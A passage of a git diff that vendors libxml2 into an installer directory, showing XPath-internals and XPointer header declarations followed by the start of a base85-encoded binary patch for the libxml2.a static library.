*data); + +/* + * Function Lookup forwarding. + */ + +XMLPUBFUN void XMLCALL + xmlXPathRegisterFuncLookup (xmlXPathContextPtr ctxt, + xmlXPathFuncLookupFunc f, + void *funcCtxt); + +/* + * Error reporting. + */ +XMLPUBFUN void XMLCALL + xmlXPatherror (xmlXPathParserContextPtr ctxt, + const char *file, + int line, + int no); + +XMLPUBFUN void XMLCALL + xmlXPathErr (xmlXPathParserContextPtr ctxt, + int error); + +#ifdef LIBXML_DEBUG_ENABLED +XMLPUBFUN void XMLCALL + xmlXPathDebugDumpObject (FILE *output, + xmlXPathObjectPtr cur, + int depth); +XMLPUBFUN void XMLCALL + xmlXPathDebugDumpCompExpr(FILE *output, + xmlXPathCompExprPtr comp, + int depth); +#endif +/** + * NodeSet handling. + */ +XMLPUBFUN int XMLCALL + xmlXPathNodeSetContains (xmlNodeSetPtr cur, + xmlNodePtr val); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathDifference (xmlNodeSetPtr nodes1, + xmlNodeSetPtr nodes2); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathIntersection (xmlNodeSetPtr nodes1, + xmlNodeSetPtr nodes2); + +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathDistinctSorted (xmlNodeSetPtr nodes); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathDistinct (xmlNodeSetPtr nodes); + +XMLPUBFUN int XMLCALL + xmlXPathHasSameNodes (xmlNodeSetPtr nodes1, + xmlNodeSetPtr nodes2); + +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathNodeLeadingSorted (xmlNodeSetPtr nodes, + xmlNodePtr node); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathLeadingSorted (xmlNodeSetPtr nodes1, + xmlNodeSetPtr nodes2); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathNodeLeading (xmlNodeSetPtr nodes, + xmlNodePtr node); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathLeading (xmlNodeSetPtr nodes1, + xmlNodeSetPtr nodes2); + +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathNodeTrailingSorted (xmlNodeSetPtr nodes, + xmlNodePtr node); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathTrailingSorted (xmlNodeSetPtr nodes1, + xmlNodeSetPtr nodes2); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathNodeTrailing (xmlNodeSetPtr nodes, + xmlNodePtr node); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathTrailing (xmlNodeSetPtr nodes1, + xmlNodeSetPtr nodes2); + + +/** + * Extending a context. + */ + +XMLPUBFUN int XMLCALL + xmlXPathRegisterNs (xmlXPathContextPtr ctxt, + const xmlChar *prefix, + const xmlChar *ns_uri); +XMLPUBFUN const xmlChar * XMLCALL + xmlXPathNsLookup (xmlXPathContextPtr ctxt, + const xmlChar *prefix); +XMLPUBFUN void XMLCALL + xmlXPathRegisteredNsCleanup (xmlXPathContextPtr ctxt); + +XMLPUBFUN int XMLCALL + xmlXPathRegisterFunc (xmlXPathContextPtr ctxt, + const xmlChar *name, + xmlXPathFunction f); +XMLPUBFUN int XMLCALL + xmlXPathRegisterFuncNS (xmlXPathContextPtr ctxt, + const xmlChar *name, + const xmlChar *ns_uri, + xmlXPathFunction f); +XMLPUBFUN int XMLCALL + xmlXPathRegisterVariable (xmlXPathContextPtr ctxt, + const xmlChar *name, + xmlXPathObjectPtr value); +XMLPUBFUN int XMLCALL + xmlXPathRegisterVariableNS (xmlXPathContextPtr ctxt, + const xmlChar *name, + const xmlChar *ns_uri, + xmlXPathObjectPtr value); +XMLPUBFUN xmlXPathFunction XMLCALL + xmlXPathFunctionLookup (xmlXPathContextPtr ctxt, + const xmlChar *name); +XMLPUBFUN xmlXPathFunction XMLCALL + xmlXPathFunctionLookupNS (xmlXPathContextPtr ctxt, + const xmlChar *name, + const xmlChar *ns_uri); +XMLPUBFUN void XMLCALL + xmlXPathRegisteredFuncsCleanup (xmlXPathContextPtr ctxt); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathVariableLookup (xmlXPathContextPtr ctxt, + const xmlChar *name); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathVariableLookupNS (xmlXPathContextPtr ctxt, + const xmlChar *name, + const xmlChar *ns_uri); +XMLPUBFUN void XMLCALL + xmlXPathRegisteredVariablesCleanup(xmlXPathContextPtr ctxt); + +/** + * Utilities to extend XPath. + */ +XMLPUBFUN xmlXPathParserContextPtr XMLCALL + xmlXPathNewParserContext (const xmlChar *str, + xmlXPathContextPtr ctxt); +XMLPUBFUN void XMLCALL + xmlXPathFreeParserContext (xmlXPathParserContextPtr ctxt); + +/* TODO: remap to xmlXPathValuePop and Push. */ +XMLPUBFUN xmlXPathObjectPtr XMLCALL + valuePop (xmlXPathParserContextPtr ctxt); +XMLPUBFUN int XMLCALL + valuePush (xmlXPathParserContextPtr ctxt, + xmlXPathObjectPtr value); + +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathNewString (const xmlChar *val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathNewCString (const char *val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathWrapString (xmlChar *val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathWrapCString (char * val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathNewFloat (double val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathNewBoolean (int val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathNewNodeSet (xmlNodePtr val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathNewValueTree (xmlNodePtr val); +XMLPUBFUN int XMLCALL + xmlXPathNodeSetAdd (xmlNodeSetPtr cur, + xmlNodePtr val); +XMLPUBFUN int XMLCALL + xmlXPathNodeSetAddUnique (xmlNodeSetPtr cur, + xmlNodePtr val); +XMLPUBFUN int XMLCALL + xmlXPathNodeSetAddNs (xmlNodeSetPtr cur, + xmlNodePtr node, + xmlNsPtr ns); +XMLPUBFUN void XMLCALL + xmlXPathNodeSetSort (xmlNodeSetPtr set); + +XMLPUBFUN void XMLCALL + xmlXPathRoot (xmlXPathParserContextPtr ctxt); +XMLPUBFUN void XMLCALL + xmlXPathEvalExpr (xmlXPathParserContextPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlXPathParseName (xmlXPathParserContextPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlXPathParseNCName (xmlXPathParserContextPtr ctxt); + +/* + * Existing functions. + */ +XMLPUBFUN double XMLCALL + xmlXPathStringEvalNumber (const xmlChar *str); +XMLPUBFUN int XMLCALL + xmlXPathEvaluatePredicateResult (xmlXPathParserContextPtr ctxt, + xmlXPathObjectPtr res); +XMLPUBFUN void XMLCALL + xmlXPathRegisterAllFunctions (xmlXPathContextPtr ctxt); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathNodeSetMerge (xmlNodeSetPtr val1, + xmlNodeSetPtr val2); +XMLPUBFUN void XMLCALL + xmlXPathNodeSetDel (xmlNodeSetPtr cur, + xmlNodePtr val); +XMLPUBFUN void XMLCALL + xmlXPathNodeSetRemove (xmlNodeSetPtr cur, + int val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathNewNodeSetList (xmlNodeSetPtr val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathWrapNodeSet (xmlNodeSetPtr val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathWrapExternal (void *val); + +XMLPUBFUN int XMLCALL xmlXPathEqualValues(xmlXPathParserContextPtr ctxt); +XMLPUBFUN int XMLCALL xmlXPathNotEqualValues(xmlXPathParserContextPtr ctxt); +XMLPUBFUN int XMLCALL xmlXPathCompareValues(xmlXPathParserContextPtr ctxt, int inf, int strict); +XMLPUBFUN void XMLCALL xmlXPathValueFlipSign(xmlXPathParserContextPtr ctxt); +XMLPUBFUN void XMLCALL xmlXPathAddValues(xmlXPathParserContextPtr ctxt); +XMLPUBFUN void XMLCALL xmlXPathSubValues(xmlXPathParserContextPtr ctxt); +XMLPUBFUN void XMLCALL xmlXPathMultValues(xmlXPathParserContextPtr ctxt); +XMLPUBFUN void XMLCALL xmlXPathDivValues(xmlXPathParserContextPtr ctxt); +XMLPUBFUN void XMLCALL xmlXPathModValues(xmlXPathParserContextPtr ctxt); + +XMLPUBFUN int XMLCALL xmlXPathIsNodeType(const xmlChar *name); + +/* + * Some of the axis navigation routines. + */ +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextSelf(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextChild(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextDescendant(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextDescendantOrSelf(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextParent(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextAncestorOrSelf(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextFollowingSibling(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextFollowing(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextNamespace(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextAttribute(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextPreceding(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextAncestor(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextPrecedingSibling(xmlXPathParserContextPtr ctxt, + xmlNodePtr cur); +/* + * The official core of XPath functions. + */ +XMLPUBFUN void XMLCALL xmlXPathLastFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathPositionFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathCountFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathIdFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathLocalNameFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathNamespaceURIFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathStringFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathStringLengthFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathConcatFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathContainsFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathStartsWithFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathSubstringFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathSubstringBeforeFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathSubstringAfterFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathNormalizeFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathTranslateFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathNotFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathTrueFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathFalseFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathLangFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathNumberFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathSumFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathFloorFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathCeilingFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathRoundFunction(xmlXPathParserContextPtr ctxt, int nargs); +XMLPUBFUN void XMLCALL xmlXPathBooleanFunction(xmlXPathParserContextPtr ctxt, int nargs); + +/** + * Really internal functions + */ +XMLPUBFUN void XMLCALL xmlXPathNodeSetFreeNs(xmlNsPtr ns); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_XPATH_ENABLED */ +#endif /* ! __XML_XPATH_INTERNALS_H__ */ diff --git a/installer/libxml2/include/libxml/xpointer.h b/installer/libxml2/include/libxml/xpointer.h new file mode 100644 index 0000000..b99112b --- /dev/null +++ b/installer/libxml2/include/libxml/xpointer.h @@ -0,0 +1,114 @@ +/* + * Summary: API to handle XML Pointers + * Description: API to handle XML Pointers + * Base implementation was made accordingly to + * W3C Candidate Recommendation 7 June 2000 + * http://www.w3.org/TR/2000/CR-xptr-20000607 + * + * Added support for the element() scheme described in: + * W3C Proposed Recommendation 13 November 2002 + * http://www.w3.org/TR/2002/PR-xptr-element-20021113/ + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_XPTR_H__ +#define __XML_XPTR_H__ + +#include + +#ifdef LIBXML_XPTR_ENABLED + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * A Location Set + */ +typedef struct _xmlLocationSet xmlLocationSet; +typedef xmlLocationSet *xmlLocationSetPtr; +struct _xmlLocationSet { + int locNr; /* number of locations in the set */ + int locMax; /* size of the array as allocated */ + xmlXPathObjectPtr *locTab;/* array of locations */ +}; + +/* + * Handling of location sets. + */ + +XMLPUBFUN xmlLocationSetPtr XMLCALL + xmlXPtrLocationSetCreate (xmlXPathObjectPtr val); +XMLPUBFUN void XMLCALL + xmlXPtrFreeLocationSet (xmlLocationSetPtr obj); +XMLPUBFUN xmlLocationSetPtr XMLCALL + xmlXPtrLocationSetMerge (xmlLocationSetPtr val1, + xmlLocationSetPtr val2); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPtrNewRange (xmlNodePtr start, + int startindex, + xmlNodePtr end, + int endindex); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPtrNewRangePoints (xmlXPathObjectPtr start, + xmlXPathObjectPtr end); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPtrNewRangeNodePoint (xmlNodePtr start, + xmlXPathObjectPtr end); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPtrNewRangePointNode (xmlXPathObjectPtr start, + xmlNodePtr end); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPtrNewRangeNodes (xmlNodePtr start, + xmlNodePtr end); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPtrNewLocationSetNodes (xmlNodePtr start, + xmlNodePtr end); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPtrNewLocationSetNodeSet(xmlNodeSetPtr set); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPtrNewRangeNodeObject (xmlNodePtr start, + xmlXPathObjectPtr end); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPtrNewCollapsedRange (xmlNodePtr start); +XMLPUBFUN void XMLCALL + xmlXPtrLocationSetAdd (xmlLocationSetPtr cur, + xmlXPathObjectPtr val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPtrWrapLocationSet (xmlLocationSetPtr val); +XMLPUBFUN void XMLCALL + xmlXPtrLocationSetDel (xmlLocationSetPtr cur, + xmlXPathObjectPtr val); +XMLPUBFUN void XMLCALL + xmlXPtrLocationSetRemove (xmlLocationSetPtr cur, + int val); + +/* + * Functions. + */ +XMLPUBFUN xmlXPathContextPtr XMLCALL + xmlXPtrNewContext (xmlDocPtr doc, + xmlNodePtr here, + xmlNodePtr origin); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPtrEval (const xmlChar *str, + xmlXPathContextPtr ctx); +XMLPUBFUN void XMLCALL + xmlXPtrRangeToFunction (xmlXPathParserContextPtr ctxt, + int nargs); +XMLPUBFUN xmlNodePtr XMLCALL + xmlXPtrBuildNodeList (xmlXPathObjectPtr obj); +XMLPUBFUN void XMLCALL + xmlXPtrEvalRangePredicate (xmlXPathParserContextPtr ctxt); +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_XPTR_ENABLED */ +#endif /* __XML_XPTR_H__ */ diff --git a/installer/libxml2/lib/libxml2.a b/installer/libxml2/lib/libxml2.a new file mode 100644 index 0000000000000000000000000000000000000000..ec8a1cd55c84ee44a6ec7ea6800b2be4f60043db GIT binary patch literal 2715444 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 